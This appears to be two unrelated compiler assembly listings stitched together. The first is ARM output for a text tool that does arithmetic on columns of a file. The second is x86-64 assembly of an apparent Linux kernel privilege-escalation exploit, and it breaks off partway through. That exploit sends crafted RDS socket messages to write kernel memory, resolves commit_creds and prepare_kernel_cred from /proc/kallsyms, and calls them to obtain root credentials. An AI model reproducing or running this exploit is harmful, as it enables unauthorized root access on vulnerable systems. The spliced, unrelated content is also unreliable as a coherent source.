.ascii "\012--- Error [%s]: lineparse function encountered "
.ascii "insufficient memory\012\012\000"
.align 2
.LC44:
.ascii "nan\000"
.align 2
.LC45:
.ascii "%lf\000"
.global __aeabi_dcmpun
.global __aeabi_dcmpgt
.global __aeabi_dadd
.global __aeabi_dsub
.global __aeabi_dmul
.global __aeabi_dcmpeq
.global __aeabi_ddiv
.align 2
.LC46:
.ascii "%lf\012\000"
.align 2
.LC47:
.ascii "%ld\000"
.global __aeabi_idiv
.align 2
.LC48:
.ascii "%ld\012\000"
.align 2
.LC49:
.ascii "inf\000"
.align 2
.LC50:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 888
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, fp, lr}
add fp, sp, #20
sub sp, sp, #888
str r0, [fp, #-904]
str r1, [fp, #-908]
ldr r3, .L86
ldr r3, [r3]
str r3, [fp, #-24]
mov r3,#0
mov r3, #0
str r3, [fp, #-880]
mov r3, #0
str r3, [fp, #-876]
mov r3, #1
str r3, [fp, #-832]
mov r3, #0
str r3, [fp, #-888]
mov r3, #0
str r3, [fp, #-868]
mov r3, #0
str r3, [fp, #-884]
mov r3, #0
str r3, [fp, #-864]
mov r3, #1
str r3, [fp, #-852]
mov r3, #0
str r3, [fp, #-848]
mov r3, #0
str r3, [fp, #-844]
mov r3, #1
str r3, [fp, #-840]
mov r3, #2
str r3, [fp, #-836]
ldr r3, [fp, #-904]
cmp r3, #1
bgt .L2
ldr r3, .L86+4
ldr r3, [r3]
mov r1, r3
mov r0, #10
bl fputc
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #71
mov r1, #1
ldr r0, .L86+8
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, .L86+12
ldr r1, .L86+16
mov r0, r3
bl fprintf
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #71
mov r1, #1
ldr r0, .L86+8
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #28
mov r1, #1
ldr r0, .L86+20
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #75
mov r1, #1
ldr r0, .L86+24
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #7
mov r1, #1
ldr r0, .L86+28
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, .L86+32
ldr r1, .L86+36
mov r0, r3
bl fprintf
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #56
mov r1, #1
ldr r0, .L86+40
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #31
mov r1, #1
ldr r0, .L86+44
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, [fp, #-840]
ldr r1, .L86+48
mov r0, r3
bl fprintf
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, [fp, #-836]
ldr r1, .L86+52
mov r0, r3
bl fprintf
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, [fp, #-848]
ldr r1, .L86+56
mov r0, r3
bl fprintf
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, [fp, #-852]
ldr r1, .L86+60
mov r0, r3
bl fprintf
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #18
mov r1, #1
ldr r0, .L86+64
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #21
mov r1, #1
ldr r0, .L86+68
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #24
mov r1, #1
ldr r0, .L86+72
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #18
mov r1, #1
ldr r0, .L86+76
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, [fp, #-844]
ldr r1, .L86+80
mov r0, r3
bl fprintf
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #10
mov r1, #1
ldr r0, .L86+84
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, .L86+32
ldr r1, .L86+88
mov r0, r3
bl fprintf
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, .L86+32
ldr r1, .L86+92
mov r0, r3
bl fprintf
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #8
mov r1, #1
ldr r0, .L86+96
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #22
mov r1, #1
ldr r0, .L86+100
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r2, #71
mov r1, #1
ldr r0, .L86+8
bl fwrite
ldr r3, .L86+4
ldr r3, [r3]
mov r1, r3
mov r0, #10
bl fputc
mov r0, #0
bl exit
.L2:
ldr r3, [fp, #-908]
add r3, r3, #4
ldr r2, [r3]
sub r3, fp, #280
ldr r1, .L86+104
mov r0, r3
bl sprintf
mov r3, #2
str r3, [fp, #-896]
b .L3
.L11:
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #45
bne .L4
ldr r3, [fp, #-896]
add r3, r3, #1
ldr r2, [fp, #-904]
cmp r2, r3
bgt .L5
ldr r3, .L86+4
ldr r0, [r3]
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
ldr r2, .L86+32
ldr r1, .L86+108
bl fprintf
mov r0, #1
bl exit
.L5:
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L86+112
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L6
ldr r3, [fp, #-896]
add r3, r3, #1
str r3, [fp, #-896]
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl atol
str r0, [fp, #-840]
b .L4
.L6:
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L86+116
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L7
ldr r3, [fp, #-896]
add r3, r3, #1
str r3, [fp, #-896]
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl atol
str r0, [fp, #-836]
b .L4
.L7:
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L86+120
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L8
ldr r3, [fp, #-896]
add r3, r3, #1
str r3, [fp, #-896]
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl atoi
str r0, [fp, #-852]
b .L4
.L8:
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L86+124
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L9
ldr r3, [fp, #-896]
add r3, r3, #1
str r3, [fp, #-896]
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl atoi
str r0, [fp, #-848]
b .L4
.L9:
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L86+128
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L10
ldr r3, [fp, #-896]
add r3, r3, #1
str r3, [fp, #-896]
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl atoi
str r0, [fp, #-844]
b .L4
.L10:
ldr r3, .L86+4
ldr r0, [r3]
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-908]
add r3, r2, r3
ldr r3, [r3]
ldr r2, .L86+32
ldr r1, .L86+132
bl fprintf
mov r0, #1
bl exit
.L4:
ldr r3, [fp, #-896]
add r3, r3, #1
str r3, [fp, #-896]
.L3:
ldr r3, [fp, #-896]
ldr r2, [fp, #-904]
cmp r2, r3
bgt .L11
ldr r3, [fp, #-840]
cmp r3, #0
bgt .L12
ldr r3, .L86+4
ldr r0, [r3]
ldr r3, [fp, #-840]
ldr r2, .L86+32
ldr r1, .L86+136
bl fprintf
mov r0, #1
bl exit
.L12:
ldr r3, [fp, #-836]
cmp r3, #0
bgt .L13
ldr r3, .L86+4
ldr r0, [r3]
ldr r3, [fp, #-836]
ldr r2, .L86+32
ldr r1, .L86+140
bl fprintf
mov r0, #1
bl exit
.L13:
ldr r3, [fp, #-852]
cmp r3, #0
ble .L14
ldr r3, [fp, #-852]
cmp r3, #4
ble .L15
.L14:
ldr r3, .L86+4
ldr r0, [r3]
ldr r3, [fp, #-852]
ldr r2, .L86+32
ldr r1, .L86+144
bl fprintf
mov r0, #1
bl exit
.L15:
ldr r3, [fp, #-848]
cmp r3, #0
beq .L16
ldr r3, [fp, #-848]
cmp r3, #1
beq .L16
ldr r3, .L86+4
ldr r0, [r3]
ldr r3, [fp, #-848]
ldr r2, .L86+32
ldr r1, .L86+148
bl fprintf
mov r0, #1
bl exit
.L16:
ldr r3, [fp, #-844]
cmp r3, #0
beq .L17
ldr r3, [fp, #-844]
cmp r3, #1
beq .L17
ldr r3, .L86+4
ldr r0, [r3]
ldr r3, [fp, #-844]
ldr r2, .L86+32
ldr r1, .L86+152
bl fprintf
mov r0, #1
bl exit
.L17:
ldr r3, [fp, #-840]
sub r3, r3, #1
str r3, [fp, #-828]
ldr r3, [fp, #-836]
sub r3, r3, #1
str r3, [fp, #-824]
sub r3, fp, #280
ldr r1, .L86+156
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L18
ldr r3, .L86+160
ldr r3, [r3]
str r3, [fp, #-860]
b .L20
.L18:
sub r3, fp, #280
ldr r1, .L86+164
mov r0, r3
bl fopen
str r0, [fp, #-860]
ldr r3, [fp, #-860]
cmp r3, #0
bne .L20
ldr r3, .L86+4
ldr r0, [r3]
sub r3, fp, #280
ldr r2, .L86+32
ldr r1, .L86+168
bl fprintf
mov r0, #1
bl exit
.L75:
ldr r3, [fp, #-888]
cmn r3, #1
bne .L21
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, .L86+32
ldr r1, .L86+172
mov r0, r3
bl fprintf
mov r0, #1
bl exit
.L21:
ldr r3, [fp, #-888]
ldr r2, [fp, #-868]
cmp r2, r3
bge .L22
ldr r3, [fp, #-888]
str r3, [fp, #-868]
ldr r3, [fp, #-888]
add r3, r3, #1
ldr r2, [fp, #-832]
mul r3, r2, r3
mov r1, r3
ldr r0, [fp, #-876]
bl realloc
str r0, [fp, #-876]
ldr r3, [fp, #-876]
cmp r3, #0
bne .L22
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, .L86+32
ldr r1, .L86+176
mov r0, r3
bl fprintf
mov r0, #1
bl exit
.L22:
ldr r1, [fp, #-880]
ldr r0, [fp, #-876]
bl strcpy
sub r3, fp, #884
mov r2, r3
ldr r1, .L86+180
ldr r0, [fp, #-880]
bl xf_lineparse2
str r0, [fp, #-864]
ldr r3, [fp, #-884]
cmp r3, #0
bge .L23
ldr r3, .L86+4
ldr r3, [r3]
ldr r2, .L86+32
ldr r1, .L86+184
mov r0, r3
bl fprintf
mov r0, #1
bl exit
.L23:
ldr r3, [fp, #-884]
ldr r2, [fp, #-840]
cmp r2, r3
bgt .L24
ldr r3, [fp, #-884]
ldr r2, [fp, #-836]
cmp r2, r3
ble .L25
.L24:
ldr r3, [fp, #-844]
cmp r3, #0
bne .L26
ldr r0, .L86+188
bl puts
b .L20
.L26:
mov r3, #0
str r3, [fp, #-896]
b .L28
.L32:
ldr r3, [fp, #-896]
cmp r3, #0
ble .L29
mov r0, #9
bl putchar
.L29:
ldr r3, [fp, #-896]
ldr r2, [fp, #-824]
cmp r2, r3
bne .L30
ldr r0, .L86+188
bl printf
b .L31
.L30:
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-864]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-880]
add r3, r3, r2
mov r1, r3
ldr r0, .L86+104
bl printf
.L31:
ldr r3, [fp, #-896]
add r3, r3, #1
str r3, [fp, #-896]
.L28:
ldr r2, [fp, #-896]
ldr r3, [fp, #-884]
cmp r2, r3
blt .L32
mov r0, #10
bl putchar
b .L20
.L25:
mov r3, #2
str r3, [fp, #-872]
ldr r3, [fp, #-848]
cmp r3, #0
bne .L33
ldr r3, [fp, #-828]
lsl r3, r3, #2
ldr r2, [fp, #-864]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-880]
add r3, r3, r2
sub r2, fp, #820
ldr r1, .L86+192
mov r0, r3
bl __isoc99_sscanf
mov r3, r0
cmp r3, #1
bne .L34
ldr r3, [fp, #-872]
sub r3, r3, #1
str r3, [fp, #-872]
.L34:
ldr r3, [fp, #-824]
lsl r3, r3, #2
ldr r2, [fp, #-864]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-880]
add r3, r3, r2
sub r2, fp, #812
ldr r1, .L86+192
mov r0, r3
bl __isoc99_sscanf
mov r3, r0
cmp r3, #1
bne .L35
ldr r3, [fp, #-872]
sub r3, r3, #1
str r3, [fp, #-872]
.L35:
ldr r3, [fp, #-872]
cmp r3, #0
beq .L36
ldr r3, [fp, #-844]
cmp r3, #0
bne .L37
ldr r3, [fp, #-824]
lsl r3, r3, #2
ldr r2, [fp, #-864]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-880]
add r3, r3, r2
mov r0, r3
bl puts
b .L20
.L37:
ldr r1, [fp, #-876]
ldr r0, .L86+104
bl printf
b .L20
.L36:
sub r3, fp, #820
ldmia r3, {r2-r3}
mov r4, r2
bic r5, r3, #-2147483648
mvn r2, #0
ldr r3, .L86+196
mov r0, r4
mov r1, r5
bl __aeabi_dcmpun
mov r3, r0
cmp r3, #0
bne .L39
mvn r2, #0
ldr r3, .L86+196
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L39
sub r3, fp, #812
ldmia r3, {r2-r3}
mov r6, r2
bic r7, r3, #-2147483648
mvn r2, #0
ldr r3, .L86+196
mov r0, r6
mov r1, r7
bl __aeabi_dcmpun
mov r3, r0
cmp r3, #0
bne .L39
mvn r2, #0
ldr r3, .L86+196
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L83
.L39:
mov r2, #0
ldr r3, .L86+200
str r2, [fp, #-804]
str r3, [fp, #-800]
b .L42
.L83:
ldr r3, [fp, #-852]
cmp r3, #1
bne .L43
sub r1, fp, #812
ldmia r1, {r0-r1}
sub r3, fp, #820
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-804]
str r3, [fp, #-800]
b .L42
.L43:
ldr r3, [fp, #-852]
cmp r3, #2
bne .L44
sub r1, fp, #812
ldmia r1, {r0-r1}
sub r3, fp, #820
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-804]
str r3, [fp, #-800]
b .L42
.L44:
ldr r3, [fp, #-852]
cmp r3, #3
bne .L45
sub r1, fp, #812
ldmia r1, {r0-r1}
sub r3, fp, #820
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-804]
str r3, [fp, #-800]
b .L42
.L45:
ldr r3, [fp, #-852]
cmp r3, #4
bne .L42
sub r1, fp, #820
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L84
mov r2, #0
ldr r3, .L86+200
str r2, [fp, #-804]
str r3, [fp, #-800]
b .L42
.L84:
sub r1, fp, #812
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L85
mov r2, #0
ldr r3, .L86+204
str r2, [fp, #-804]
str r3, [fp, #-800]
b .L42
.L85:
sub r1, fp, #812
ldmia r1, {r0-r1}
sub r3, fp, #820
ldmia r3, {r2-r3}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-804]
str r3, [fp, #-800]
.L42:
ldr r3, [fp, #-844]
cmp r3, #0
bne .L50
sub r3, fp, #804
ldmia r3, {r2-r3}
ldr r0, .L86+208
bl printf
b .L33
.L50:
mov r3, #0
str r3, [fp, #-896]
b .L51
.L55:
ldr r3, [fp, #-896]
cmp r3, #0
ble .L52
mov r0, #9
bl putchar
.L52:
ldr r3, [fp, #-896]
ldr r2, [fp, #-824]
cmp r2, r3
bne .L53
sub r3, fp, #804
ldmia r3, {r2-r3}
ldr r0, .L86+192
bl printf
b .L54
.L53:
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-864]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-880]
add r3, r3, r2
mov r1, r3
ldr r0, .L86+104
bl printf
.L54:
ldr r3, [fp, #-896]
add r3, r3, #1
str r3, [fp, #-896]
.L51:
ldr r2, [fp, #-896]
ldr r3, [fp, #-884]
cmp r2, r3
blt .L55
mov r0, #10
bl putchar
.L33:
ldr r3, [fp, #-848]
cmp r3, #1
bne .L20
ldr r3, [fp, #-828]
lsl r3, r3, #2
ldr r2, [fp, #-864]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-880]
add r3, r3, r2
sub r2, fp, #896
ldr r1, .L86+212
mov r0, r3
bl __isoc99_sscanf
mov r3, r0
cmp r3, #1
bne .L56
ldr r3, [fp, #-872]
sub r3, r3, #1
str r3, [fp, #-872]
.L56:
ldr r3, [fp, #-824]
lsl r3, r3, #2
ldr r2, [fp, #-864]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-880]
add r3, r3, r2
sub r2, fp, #892
ldr r1, .L86+212
mov r0, r3
bl __isoc99_sscanf
mov r3, r0
cmp r3, #1
bne .L57
ldr r3, [fp, #-872]
sub r3, r3, #1
str r3, [fp, #-872]
.L57:
ldr r3, [fp, #-872]
cmp r3, #0
beq .L58
ldr r3, [fp, #-844]
cmp r3, #0
bne .L59
ldr r3, [fp, #-824]
lsl r3, r3, #2
ldr r2, [fp, #-864]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-880]
add r3, r3, r2
mov r0, r3
bl puts
b .L20
.L59:
ldr r1, [fp, #-876]
ldr r0, .L86+104
bl printf
b .L20
.L58:
ldr r3, [fp, #-852]
cmp r3, #1
bne .L61
ldr r2, [fp, #-892]
ldr r3, [fp, #-896]
add r3, r2, r3
str r3, [fp, #-856]
b .L62
.L61:
ldr r3, [fp, #-852]
cmp r3, #2
bne .L63
ldr r2, [fp, #-892]
ldr r3, [fp, #-896]
sub r3, r2, r3
str r3, [fp, #-856]
b .L62
.L63:
ldr r3, [fp, #-852]
cmp r3, #3
bne .L64
ldr r3, [fp, #-892]
ldr r2, [fp, #-896]
mul r3, r2, r3
str r3, [fp, #-856]
b .L62
.L64:
ldr r3, [fp, #-852]
cmp r3, #4
bne .L62
ldr r3, [fp, #-896]
cmp r3, #0
bne .L65
mvn r3, #-2147483648
str r3, [fp, #-856]
b .L62
.L65:
ldr r3, [fp, #-892]
cmp r3, #0
bne .L66
mov r3, #0
str r3, [fp, #-856]
b .L62
.L66:
ldr r3, [fp, #-892]
ldr r2, [fp, #-896]
mov r1, r2
mov r0, r3
bl __aeabi_idiv
mov r3, r0
str r3, [fp, #-856]
.L62:
ldr r3, [fp, #-844]
cmp r3, #0
bne .L67
ldr r3, [fp, #-856]
cmn r3, #-2147483647
beq .L68
ldr r1, [fp, #-856]
ldr r0, .L86+216
bl printf
b .L20
.L68:
ldr r0, .L86+220
bl puts
b .L20
.L67:
mov r3, #0
str r3, [fp, #-896]
b .L69
.L74:
ldr r3, [fp, #-896]
cmp r3, #0
ble .L70
mov r0, #9
bl putchar
.L70:
ldr r3, [fp, #-896]
ldr r2, [fp, #-824]
cmp r2, r3
bne .L71
ldr r3, [fp, #-856]
cmn r3, #-2147483647
beq .L72
ldr r1, [fp, #-856]
ldr r0, .L86+212
bl printf
b .L73
.L72:
ldr r0, .L86+220
bl printf
b .L73
.L71:
ldr r3, [fp, #-896]
lsl r3, r3, #2
ldr r2, [fp, #-864]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-880]
add r3, r3, r2
mov r1, r3
ldr r0, .L86+104
bl printf
.L73:
ldr r3, [fp, #-896]
add r3, r3, #1
str r3, [fp, #-896]
.L69:
ldr r2, [fp, #-896]
ldr r3, [fp, #-884]
cmp r2, r3
blt .L74
mov r0, #10
bl putchar
.L20:
sub r3, fp, #888
ldr r2, [fp, #-860]
mov r1, r3
ldr r0, [fp, #-880]
bl xf_lineread1
str r0, [fp, #-880]
ldr r3, [fp, #-880]
cmp r3, #0
bne .L75
sub r3, fp, #280
ldr r1, .L86+156
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
beq .L76
ldr r0, [fp, #-860]
bl fclose
.L76:
ldr r3, [fp, #-864]
cmp r3, #0
beq .L77
ldr r0, [fp, #-864]
bl free
.L77:
ldr r3, [fp, #-880]
cmp r3, #0
beq .L78
ldr r0, [fp, #-880]
bl free
.L78:
ldr r3, [fp, #-876]
cmp r3, #0
beq .L79
ldr r0, [fp, #-876]
bl free
.L79:
mov r0, #0
bl exit
.L87:
.align 2
.L86:
.word .LC50
.word stderr
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word .LC5
.word .LC6
.word .LC7
.word .LC8
.word .LC9
.word .LC10
.word .LC11
.word .LC12
.word .LC13
.word .LC14
.word .LC15
.word .LC16
.word .LC17
.word .LC18
.word .LC19
.word .LC20
.word .LC21
.word .LC22
.word .LC23
.word .LC24
.word .LC25
.word .LC26
.word .LC27
.word .LC28
.word .LC29
.word .LC30
.word .LC31
.word .LC32
.word .LC33
.word .LC34
.word .LC35
.word .LC36
.word .LC37
.word stdin
.word .LC38
.word .LC39
.word .LC40
.word .LC41
.word .LC42
.word .LC43
.word .LC44
.word .LC45
.word 2146435071
.word 2146959360
.word 2146435072
.word .LC46
.word .LC47
.word .LC48
.word .LC49
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "21672.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "[*] Could not open socket."
.LC1:
.string "127.0.0.1"
.LC2:
.string "[*] Could not bind socket."
.text
.globl prep_sock
.type prep_sock, @function
prep_sock:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov DWORD PTR -52[rbp], edi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov edx, 0
mov esi, 5
mov edi, 21
call socket@PLT
mov DWORD PTR -40[rbp], eax
cmp DWORD PTR -40[rbp], 0
jns .L2
lea rdi, .LC0[rip]
call puts@PLT
mov edi, -1
call exit@PLT
.L2:
lea rax, -32[rbp]
mov edx, 16
mov esi, 0
mov rdi, rax
call memset@PLT
lea rdi, .LC1[rip]
mov eax, 0
call inet_addr@PLT
mov DWORD PTR -28[rbp], eax
mov WORD PTR -32[rbp], 2
mov eax, DWORD PTR -52[rbp]
movzx eax, ax
mov edi, eax
call htons@PLT
mov WORD PTR -30[rbp], ax
lea rcx, -32[rbp]
mov eax, DWORD PTR -40[rbp]
mov edx, 16
mov rsi, rcx
mov edi, eax
call bind@PLT
mov DWORD PTR -36[rbp], eax
cmp DWORD PTR -36[rbp], 0
jns .L3
lea rdi, .LC2[rip]
call puts@PLT
mov edi, -1
call exit@PLT
.L3:
mov eax, DWORD PTR -40[rbp]
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L5
call __stack_chk_fail@PLT
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size prep_sock, .-prep_sock
.globl get_message
.type get_message, @function
get_message:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
mov rsi, QWORD PTR -8[rbp]
mov eax, DWORD PTR -12[rbp]
mov r9d, 0
mov r8d, 0
mov ecx, 0
mov edx, 8
mov edi, eax
call recvfrom@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size get_message, .-get_message
.section .rodata
.align 8
.LC3:
.string "[*] Something went wrong sending."
.text
.globl send_message
.type send_message, @function
send_message:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 144
mov QWORD PTR -136[rbp], rdi
mov DWORD PTR -140[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -32[rbp]
mov edx, 16
mov esi, 0
mov rdi, rax
call memset@PLT
mov DWORD PTR -128[rbp], 16
mov edi, 5555
call htons@PLT
mov WORD PTR -30[rbp], ax
mov WORD PTR -32[rbp], 2
lea rdi, .LC1[rip]
mov eax, 0
call inet_addr@PLT
mov DWORD PTR -28[rbp], eax
lea rax, -96[rbp]
mov edx, 56
mov esi, 0
mov rdi, rax
call memset@PLT
lea rax, -32[rbp]
mov QWORD PTR -96[rbp], rax
mov DWORD PTR -88[rbp], 16
mov QWORD PTR -72[rbp], 1
mov rax, QWORD PTR -136[rbp]
mov QWORD PTR -120[rbp], rax
mov QWORD PTR -104[rbp], 8
lea rax, -120[rbp]
mov QWORD PTR -112[rbp], rax
lea rax, -112[rbp]
mov QWORD PTR -80[rbp], rax
lea rcx, -96[rbp]
mov eax, DWORD PTR -140[rbp]
mov edx, 0
mov rsi, rcx
mov edi, eax
call sendmsg@PLT
mov DWORD PTR -124[rbp], eax
cmp DWORD PTR -124[rbp], 0
jns .L10
lea rdi, .LC3[rip]
call puts@PLT
mov edi, -1
call exit@PLT
.L10:
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L9
call __stack_chk_fail@PLT
.L9:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size send_message, .-send_message
.globl write_to_mem
.type write_to_mem, @function
write_to_mem:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov DWORD PTR -20[rbp], edx
mov DWORD PTR -24[rbp], ecx
call fork@PLT
test eax, eax
jne .L12
mov edi, 1
call sleep@PLT
mov edx, DWORD PTR -20[rbp]
mov rax, QWORD PTR -16[rbp]
mov esi, edx
mov rdi, rax
call send_message
mov edi, 1
call exit@PLT
.L12:
mov edx, DWORD PTR -24[rbp]
mov rax, QWORD PTR -8[rbp]
mov esi, edx
mov rdi, rax
call get_message
mov edi, 0
mov eax, 0
call wait@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size write_to_mem, .-write_to_mem
.globl commit_creds
.bss
.align 8
.type commit_creds, @object
.size commit_creds, 8
commit_creds:
.zero 8
.globl prepare_kernel_cred
.align 8
.type prepare_kernel_cred, @object
.size prepare_kernel_cred, 8
prepare_kernel_cred:
.zero 8
.text
.globl getroot
.type getroot, @function
getroot:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 24
.cfi_offset 3, -24
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov rbx, QWORD PTR commit_creds[rip]
mov rax, QWORD PTR prepare_kernel_cred[rip]
mov edi, 0
call rax
mov rdi, rax
call rbx
mov eax, -1
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size getroot, .-getroot
.section .rodata
.LC4:
.string "r"
.LC5:
.string "/proc/kallsyms"
.LC6:
.string "/proc/ksyms"
.LC7:
.string "%p %c %s\n"
.LC8:
.string "%p %s\n"
.LC9:
.string "_O/"
.LC10:
.string "_S."
.LC11:
.string "smp"
.LC12:
.string "%s\n"
.LC13:
.string " (via System.map)"
.LC14:
.string ""
.LC15:
.string " [+] Resolved %s to %p%s\n"
.LC16:
.string "2.6"
.LC17:
.string "/boot/System.map-%s"
.text
.globl get_kernel_sym
.type get_kernel_sym, @function
get_kernel_sym:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 992
mov QWORD PTR -984[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -960[rbp], 0
mov DWORD PTR -956[rbp], 0
lea rsi, .LC4[rip]
lea rdi, .LC5[rip]
